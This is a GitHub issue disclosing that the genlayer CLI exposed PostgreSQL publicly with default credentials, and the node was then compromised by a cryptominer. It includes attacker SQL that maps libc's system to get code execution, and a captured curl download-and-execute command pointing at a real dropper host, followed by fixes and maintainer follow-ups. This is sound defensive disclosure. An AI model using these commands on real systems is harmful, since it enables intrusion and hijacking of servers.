Repository navigation
[CRITICAL] PostgreSQL Port Exposed to Public Internet Allows RCE and Cryptominer Deployment 🔴 #1603
Description
[CRITICAL] PostgreSQL Port Exposed to Public Internet Allows RCE and Cryptominer Deployment
Summary
The default docker-compose.yml configuration shipped with the genlayer CLI binds the PostgreSQL port (5432) to 0.0.0.0 (all network interfaces), making the database directly accessible from the public internet. Because the default credentials are postgres:postgres, an unauthenticated remote attacker can connect to the database and escalate to full Remote Code Execution via PostgreSQL's CREATE FUNCTION mechanism using libc.so.6. This was exploited in a real attack that deployed a cryptominer within minutes of the node going online.
Severity
| Field | Value |
|---|---|
| Severity | 🔴 Critical |
| CVSS v3.1 Score | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-1188: Insecure Default Initialization, CWE-284: Improper Access Control |
| Attack Vector | Network, no authentication required |
Affected Versions
genlayerCLI:v0.65.0(confirmed) — likely all prior versionsdocker-compose.ymlimage:postgres:17-alpine- Deployment method:
genlayer initon any Linux host with a public IP
Vulnerability Details
Root Cause
In /docker-compose.yml, the postgres service port mapping is:
ports:
- "${DBPORT:-5432}:5432"Without an explicit bind address, Docker maps this to 0.0.0.0:5432, exposing PostgreSQL to all interfaces, including the public internet. Combined with the default credentials (DBPASSWORD=postgres), any remote host can authenticate as a superuser.
Default Credentials
# .env defaults
DBUSER=postgres
DBPASSWORD=postgres
DBNAME=genlayer_state
These defaults are used verbatim unless the user explicitly changes them — there is no prompt or warning during genlayer init.
Attack Vector — Step by Step
[Attacker] ──── TCP:5432 ──▶ [0.0.0.0:5432 public IP] ──▶ [Docker postgres container]
│
psql -h <server> -U postgres │
Password: postgres ◀── default creds ───┘
│
┌───────────────────▼────────────────────────────┐
│ CREATE FUNCTION system() AS libc.so.6 → RCE │
└───────────────────┬────────────────────────────┘
│
Download bot from 181.214.147.108
│
Execute cryptominer /tmp/mysql (XMRig)
│
Watchdog /tmp/init ensures persistence
Proof of Concept
The following SQL commands were captured in PostgreSQL logs during the attack. Do not execute on production systems.
-- Step 1: Create a shell execution function by mapping to libc
-- (attacker tried two libc paths for Alpine/Debian compatibility)
CREATE OR REPLACE FUNCTION system(cstring)
RETURNS int
AS '/lib/x86_64-linux-gnu/libc.so.6', 'system'
LANGUAGE 'c' STRICT;
-- Step 2: Execute a base64-encoded bash dropper
SELECT system('echo <base64_payload> | base64 -d | bash');The decoded bash payload performed three actions:
- Killed competing malware — iterated
/proc/*/exeand sentkill -9to known rival miners (kinsing,kdevtmpfsi,pg_mem, etc.) - Checked for self — exited if
/tmp/initalready existed (idempotent install) - Downloaded and executed dropper:
__curl http://181.214.147.108/bot > /tmp/bot && chmod +x /tmp/bot && cd /tmp; ./bot database1;The dropper installed:
/tmp/mysql— UPX-packed XMRig cryptominer (loaded intomemfdto evade disk detection)/tmp/init— watchdog process that relaunches the miner if killed
Observed Impact
| Indicator | Value |
|---|---|
| Miner process | /tmp/mysql (masquerading as MySQL) |
| Execution method | memfd:upx (fileless, in-memory) |
| CPU consumption | 1173% (all available cores) |
| RAM consumption | 2.4 GB |
| Mining pool #1 | 5.255.106.100:44999 |
| Mining pool #2 | 5.255.115.190:48996 |
| C2 / dropper host | 181.214.147.108 |
| Persistence | /tmp/init watchdog (PID 390732) auto-restarts miner |
| Time to compromise | < 30 minutes after genlayer init |
What an attacker can do:
- Execute arbitrary OS commands as the
postgresuser inside the container - Read/write/delete all application data in the database
- Use the container as a pivot point to attack other services on the Docker network (e.g.,
genlayer-jsonrpc-1,genlayer-hardhat-1) - Deploy persistent malware with a watchdog process
- Exfiltrate secrets from environment variables (e.g.,
OPENAIKEY,ANTHROPIC_API_KEY,GEMINI_API_KEY,HARDHAT_PRIVATE_KEY)
Recommended Fix
1. Bind PostgreSQL to localhost only (primary fix)
Change the port mapping in docker-compose.yml:
# BEFORE (vulnerable)
ports:
- "${DBPORT:-5432}:5432"
# AFTER (safe)
ports:
- "127.0.0.1:${DBPORT:-5432}:5432"2. Force strong password during genlayer init
The CLI should generate a random password on first run and write it to .env, rather than shipping postgres as the default:
# Example: generate during init
import secrets
db_password = secrets.token_urlsafe(24)3. Restrict PostgreSQL pg_hba.conf inside the container
Even if the port is exposed, add an additional layer by restricting connections to trusted networks only:
# pg_hba.conf
host all all 172.16.0.0/12 scram-sha-256 # Docker internal only
host all all 0.0.0.0/0 reject
4. Warn users during init if port will be publicly exposed
The CLI could detect whether the host has a public IP and warn accordingly:
⚠ WARNING: Port 5432 will be bound to 0.0.0.0.
Your PostgreSQL instance will be accessible from the internet.
Please ensure your firewall blocks external access to this port.
5. Add security notice to documentation
The README / quickstart guide should prominently warn that running on a VPS or cloud instance requires firewall rules blocking port 5432.
Timeline
| Time (UTC) | Event |
|---|---|
| 2026-04-20 ~16:33 | genlayer init executed; genlayer-postgres-1 container started |
| 2026-04-20 17:02:33 | Attack SQL logged by PostgreSQL — CREATE FUNCTION system() executed |
| 2026-04-20 17:02:33 | Dropper downloaded from 181.214.147.108/bot |
| 2026-04-20 17:02 | /tmp/mysql (XMRig) and /tmp/init (watchdog) deployed |
| 2026-04-20 17:02–17:09 | Miner running: 1173% CPU, 2.4 GB RAM consumed |
| 2026-04-20 17:09 | Miner and watchdog killed; container destroyed |
| 2026-04-20 17:09 | docker-compose.yml patched: 127.0.0.1:5432 binding applied |
| 2026-04-20 17:11 | Clean container restarted with strong random password |
Environment
- OS: Ubuntu 22.04 LTS (Linux 5.15.0)
- Docker: running in default bridge network mode
- Host type: VPS with public IPv4
- genlayer CLI version: v0.65.0
- PostgreSQL: 17.9-alpine
References
- Docker networking — published ports
- PostgreSQL
CREATE FUNCTIONwith C language - CWE-1188: Insecure Default Initialization of Resource
- Similar CVE pattern: CVE-2019-9193 (PostgreSQL COPY TO/FROM PROGRAM)
Reported by a GenLayer node operator[keeneye]. Happy to provide additional logs, packet captures, or assist with testing a fix.
Activity
keeneyedesign commentedon Apr 20, 2026
Additional finding: The genlayer init CLI installs
GenLayer Studio — a tool explicitly described as
"local environment only" and "sandbox for developers".
However, the validator node documentation directs
users to run this same command on public VPS servers,
creating an inherent security mismatch.
HusseinAdeiza commentedon Sep 28, 2026
Taking this one.
Confirmed on
v0.40-dev,docker-compose.yml:106:No host IP, so Docker publishes on
0.0.0.0, and.env.exampleshipsDBUSER=postgres/DBPASSWORD=postgresas the defaults. Anyone runninggenlayer initon a host with a public IP gets a superuser-reachable Postgres.One thing worth noting:
genlayer-studiohas the same line atv0.123-dev:278("${DBHOSTPORT:-5432}:5432"), so this is two repos with the same default. I'll fix the CLI first since that's the one the report is scoped to, and the studio change is a separate PR.HusseinAdeiza commentedon Sep 28, 2026
Correction to the above: the
genlayer-studiohalf of this is already covered by PR #1715 (fix(security): bind postgres to loopback), open againstv0.123-dev, same line, same127.0.0.1:change plus a test. So no second studio PR needed.That leaves the CLI, where nothing exists: PR #423 against
v0.40-dev, addingtests/docker-compose-ports.test.tsto keep the binding from regressing.